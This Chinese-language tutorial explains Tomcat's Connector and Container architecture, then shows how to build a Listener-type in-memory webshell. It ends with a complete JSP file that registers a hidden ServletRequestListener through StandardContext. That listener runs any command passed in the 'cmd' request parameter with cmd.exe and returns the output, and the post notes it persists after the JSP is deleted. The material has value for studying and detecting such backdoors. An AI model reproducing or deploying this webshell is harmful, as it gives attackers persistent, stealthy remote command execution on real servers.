一、Tomcat介绍

Tomcat的主要功能

tomcat作为一个 Web 服务器，实现了两个非常核心的功能：

• Http 服务器功能：进行 Socket 通信(基于 TCP/IP)，解析 HTTP 报文
• Servlet 容器功能：加载和管理 Servlet，由 Servlet 具体负责处理 Request 请求

以上两个功能，分别对应着tomcat的两个核心组件连接器（Connector）和容器（Container），连接器负责对外交流（完成 Http 服务器功能），容器负责内部处理（完成 Servlet 容器功能）。

• Server
  Server 服务器的意思，代表整个 tomcat 服务器，一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件，用于提供具体服务。

• Service
  服务是 Server 内部的组件，一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container

• Connector

  称作连接器，是 Service 的核心组件之一，一个 Service 可以有多个 Connector，主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response，然后交给 Container 进 行处理，Container 处理完之后在交给 Connector 返回给客户端。

• Container
  负责处理用户的 servlet 请求

Connector连接器

连接器主要完成以下三个核心功能：

• socket 通信，也就是网络编程
• 解析处理应用层协议，封装成一个 Request 对象
• 将 Request 转换为 ServletRequest，将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor，Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter，Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。

Container容器

Container组件又称作Catalina，其是Tomcat的核心。在Container中，有4种容器，分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。

四种容器的作用：

• Engine
  表示整个 Catalina 的 Servlet 引擎，用来管理多个虚拟站点，一个 Service 最多只能有一个 Engine，但是一个引擎可包含多个 Host
• Host
  代表一个虚拟主机，或者说一个站点，可以给 Tomcat 配置多个虚拟主机地址，而一个虚拟主机下可包含多个 Context
• Context
  表示一个 Web 应用程序，每一个Context都有唯一的path，一个Web应用可包含多个 Wrapper
• Wrapper
  表示一个Servlet，负责管理整个 Servlet 的生命周期，包括装载、初始化、资源回收等

如以下图，a.com和b.com分别对应着两个Host

tomcat的结构图：

二、Listener内存马

请求网站的时候, 程序先执行listener监听器的内容：Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种：

• ServletContext，服务器启动和终止时触发
• Session，有关Session操作时触发
• Request，访问服务时触发

其中关于监听Request对象的监听器是最适合做内存马的，只要访问服务就能触发操作。

ServletRequestListener接口

如果在Tomcat要引入listener，需要实现两种接口，分别是LifecycleListener和原生EvenListener。

实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段，此时客户端的请求还没进入解析阶段，不适合用于内存马。

所以来看另一个EventListener接口，在Tomcat中，自定义了很多继承于EventListener的接口，应用于各个对象的监听。

重点来看ServletRequestListener接口

ServletRequestListener用于监听ServletRequest对象的创建和销毁，当我们访问任意资源，无论是servlet、jsp还是静态资源，都会触发requestInitialized方法。

在这里，通过一个demo来介绍下ServletRequestListener与其执行流程

配置tomcat源码调试环境：https://zhuanlan.zhihu.com/p/35454131

写一个继承于ServletRequestListener接口的TestListener：

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestInitialized");
    }
}

在web.xml中配置：

    <listener>
        <listener-class>test.TestListener</listener-class>
    </listener>

访问任意的路径：http://127.0.0.1:8080/11

可以看到控制台打印了信息，tomcat先执行了requestInitialized，然后再执行了requestDestroyed

requestInitialized：在request对象创建时触发

requestDestroyed：在request对象销毁时触发

StandardContext对象

StandardContext对象就是用来add恶意listener的地方

接以上环境，直接在requestInitialized处下断点，访问url后，显示出整个调用链

通过调用链发现，Tomcat在StandardHostValve中调用了我们定义的Listener

跟进context.fireRequestInitEvent，在如图红框处调用了requestInitialized方法

往上追踪后发现，以上的listener是在StandardContext#getApplicationEventListeners方法中获得的

在StandardContext#addApplicationEventListener添加了listener

这时候我们思路是，调用StandardContext#addApplicationEventListener方法，add我们自己写的恶意listener

在jsp中如何获得StandardContext对象

方式一：

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二：

    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

以下是网络上公开的内存马：

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

首先访问上传的test.jsp生成listener内存马，之后即使test.jsp删除，只要不重启服务器，内存马就能存在。